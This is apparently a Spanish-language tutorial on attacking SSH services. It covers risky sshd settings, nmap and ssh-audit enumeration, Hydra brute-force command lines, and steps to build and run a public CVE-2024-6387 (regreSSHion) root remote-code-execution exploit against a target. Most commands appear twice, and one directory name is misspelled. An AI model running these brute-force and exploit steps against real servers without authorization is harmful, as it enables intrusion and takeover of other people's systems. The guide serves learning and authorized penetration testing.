SSH Penetration Testing
Puerto por default: 22/2222
¿Qué es SSH?
SSH (Secure Shell) es un protocolo de red que permite la conexión segura y remota a otro ordenador. Se utiliza para acceder a servidores, ejecutar comandos y transferir archivos de forma cifrada, protegiendo la información transmitida de posibles escuchas o manipulaciones
¿Para qué se usa?
Permite conectarse a servidores, ordenadores o dispositivos de red desde cualquier lugar con conexión a internet, ejecutando comandos y gestionando el sistema como si estuvieras frente a él.
Transferencia segura de archivos:
SSH ofrece protocolos como SFTP (SSH File Transfer Protocol) y SCP (Secure Copy) que permiten la transferencia segura de archivos entre el cliente y el servidor.
Automatización de tareas:
Permite la creación de scripts que ejecutan comandos en servidores remotos, automatizando procesos como copias de seguridad, actualizaciones, etc.
Gestión remota de servidores:
SSH es fundamental para la administración de servidores, permitiendo a los administradores controlar y configurar sistemas operativos, aplicaciones y servicios de forma segura.
OpenSSH tiene seis métodos de autenticación diferentes
1. Autenticación con contraseña
2. Autenticación de clave pública
3. Autenticación basada en host
4. Autenticación del teclado
5. Autenticación de desafío-respuesta
6. Autenticación GSSAPI
Entornos peligrosos
A pesar de que el protocolo SSH es uno de los protocolos más seguros disponibles en la actualidad, algunos errores de configuración pueden hacer que el servidor SSH sea vulnerable a ataques fáciles de ejecutar. Las siguientes configuraciones pueden darte una idea:
| # | Configuracion | Descripcion |
|---|---|---|
| 1 | PasswordAuthentication yes | Permite la autenticación basada en contraseña. |
| 2 | PermitEmptyPasswords yes | Permite el uso de contraseñas vacías. |
| 3 | PermitRootLogin yes | Permite iniciar sesión como usuario root. |
| 4 | Protocol 1 | Utiliza una versión obsoleta del cifrado. |
| 5 | X11Forwarding yes | Permite el reenvío X11 para aplicaciones GUI. |
| 6 | AllowTcpForwarding yes | Permite el reenvío de puertos TCP. |
| 7 | PermitTunnel | Permite la tunelización. |
| 8 | DebianBanner yes | Muestra un banner específico al iniciar sesión. |
interactuar con SSH
Puedes realizar enumeracion manual utilizando NMAP:
find / -type f -name "ssh*" 2>/dev/null | grep scripts
sudo nmap --script "*ssh*" -p22 IP
sudo nmap -sV -p22 -sC -A IP
find / -type f -name "ssh*" 2>/dev/null | grep scripts
sudo nmap --script "*ssh*" -p22 IP
sudo nmap -sV -p22 -sC -A IP
Una de las formas comunes para interactuar con SSH es con la herramienta ssh, que se instala desde linux con el sigueinte comando:
sudo apt install ssh
sudo apt install ssh
En una instancia regular de ssh, puedes conectarte usando ssh o sshpass:
ssh user@IP
sshpass -p "Password1" ssh root@IP
ssh user@IP
sshpass -p "Password1" ssh root@IP
Otra forma de conectarse a una instancia regular de ssh mediante IPv6, puede ser de la siguiente manera:
ssh -6 root@fe80:0000:0000:0000:020c:29ff:fe45:8452%eth0
Direccion IPv6 se puede encontrar en /proc/net/if_inet6
ping6 -c 1 IP/IPv6%eth0
ssh -6 root@fe80:0000:0000:0000:020c:29ff:fe45:8452%eth0
Direccion IPv6 se puede encontrar en /proc/net/if_inet6
ping6 -c 1 IP/IPv6%eth0
Realizar copiado de archivos mediante SSH con CSP
scp archivo.txt usuario@IP:/directorio_interno/archivo.txt
scp usuario@IP:/directorio_interno/archivo_que_se_compiara.txt /directorio_externo/archivo.txt
scp archivo.txt usuario@IP:/directorio_interno/archivo.txt
scp usuario@IP:/directorio_interno/archivo_que_se_compiara.txt /directorio_externo/archivo.txt
Autenticacion mediante Clave Privada
chmod 600 id_rsa
ssh -i id_rsa usuario@IP
chmod 600 id_rsa
ssh -i id_rsa usuario@IP
Ahora que entendemos que es SSH y como podemos interactual con el, vamos a pasar a la explotacion de SSH
Recolectando Huellas SSH
Una de las herramientas que podemos utilizar para tomar las huellas dactilares del servidor SSH es 👉👉👉 SSH Audit 👈👈👈 Comprueba la configuración del lado del cliente y del lado del servidor y muestra información general y qué algoritmos de cifrado siguen utilizando el cliente y el servidor. Por supuesto, esto podría explotarse atacando el servidor o el cliente a nivel críptico más adelante.
Mapeando SSH con ssh-audit
git clone https://github.com/jtesta/ssh-audit.git
cd ssh-audit
./ssh-audit.py IP
sudo python3 ssh-audit.py IP
git clone https://github.com/jtesta/ssh-audit.git
cd ssh-audit
./ssh-audit.py IP
sudo python3 ssh-audit.py IP
Lo primero que podemos ver en las primeras líneas de la salida es el banner que revela la versión del servidor OpenSSH. Las versiones anteriores tenían algunas vulnerabilidades, como CVE-2020-14145, que permitía al atacante la capacidad de Man-In-The-Middle y atacar el intento de conexión inicial. La salida detallada de la configuración de la conexión con el servidor OpenSSH también puede proporcionar a menudo información importante, como los métodos de autenticación que puede utilizar el servidor.
Fuerza bruta sobre servicio SSH con Hydra
Se puede utilizar la herramienta hydra para realizar ataques de fuerza bruta sobre el protocolo SSH
Flujo del ataque
# Cuando se tiene usuario valido
$ hydra -l admin -P /diccionario_de_passwds.txt ssh://IP -VV -f -t 20
# Cuando se tiene un passwd valido
$ hydra -L /diccionario_de_usuarios -p P@ssw0r1 ssh://IP -VV -f -t 20
#Cundo no se tiene ningun dato valido
$ hydra -L /diccionario_de_usuarios -P /diccionario_de_passwds.txt ssh://IP -VV -f -t 20
# Cuando se tiene usuario valido
$ hydra -l admin -P /diccionario_de_passwds.txt ssh://IP -VV -f -t 20
# Cuando se tiene un passwd valido
$ hydra -L /diccionario_de_usuarios -p P@ssw0r1 ssh://IP -VV -f -t 20
#Cundo no se tiene ningun dato valido
$ hydra -L /diccionario_de_usuarios -P /diccionario_de_passwds.txt ssh://IP -VV -f -t 20
Es importante ver la respuesta del servidor ya que en ocasiones el servidor bloquea los intentos de autenticaciones y no permite realizar ataques de fuerza brute, mide el rango de peticiones por segundo
SSH Regression Vulnerability
La vulnerabilidad regreSSHion en OpenSSH, también conocida como CVE-2024-6387, es una vulnerabilidad de ejecución remota de código (RCE) que afecta a los servidores OpenSSH en sistemas Linux basados en glibc. Esta vulnerabilidad se debe a una condición de carrera en el manejador de señales de OpenSSH, lo que permite a un atacante remoto no autenticado ejecutar comandos arbitrarios con privilegios de root. Para mitigar el riesgo de esta vulnerabilidad, se recomienda actualizar OpenSSH a la versión 9.8p1 o superior.
Prueba de concepto regreSSHion-checker y Exploit regreSSHion
regreSSHion-checker es una herramienta liviana y eficiente diseñada para identificar servidores que ejecutan versiones vulnerables de OpenSSH, dirigida específicamente a los recientemente descubiertos regreSSHion vulnerabilidad (CVE-2024-6387). Esta herramienta facilita el escaneo rápido de múltiples direcciones IP, nombres de dominio y rangos de red CIDR para detectar posibles vulnerabilidades y garantizar la seguridad de su infraestructura.
👉👉👉 RegreSSHion-Checker
git clone https://github.com/xonoxitron/regreSSHion-checker.git
cd regreSSHion-chkecker
sudo mv main.go regreSSHion.go
sudo go build regreSSHion.go
./regreSSHion IP
git clone https://github.com/xonoxitron/regreSSHion-checker.git
cd regreSSHion-chkecker
sudo mv main.go regreSSHion.go
sudo go build regreSSHion.go
./regreSSHion IP
Este repositorio contiene un exploit dirigido a CVE-2024-6387 (regreSSHion), una vulnerabilidad en el servidor de OpenSSH (sshd) en sistemas Linux basados en glibc. Explota una condición de carrera en el controlador de señales de OpenSSH, lo que potencialmente conduce a la ejecución remota de código como root.
👉👉👉 RegreSSHion
git clone https://github.com/xonoxitron/regreSSHion.git
cd regreSSHion
sudo chmod +x compile.sh
sudo ./compile.sh
sudo ./regreSSHion IP PORT
git clone https://github.com/xonoxitron/regreSSHion.git
cd regreSSHion
sudo chmod +x compile.sh
sudo ./compile.sh
sudo ./regreSSHion IP PORT
Los resultados de una explotacion exitosa dependeran de las condiciones del servidor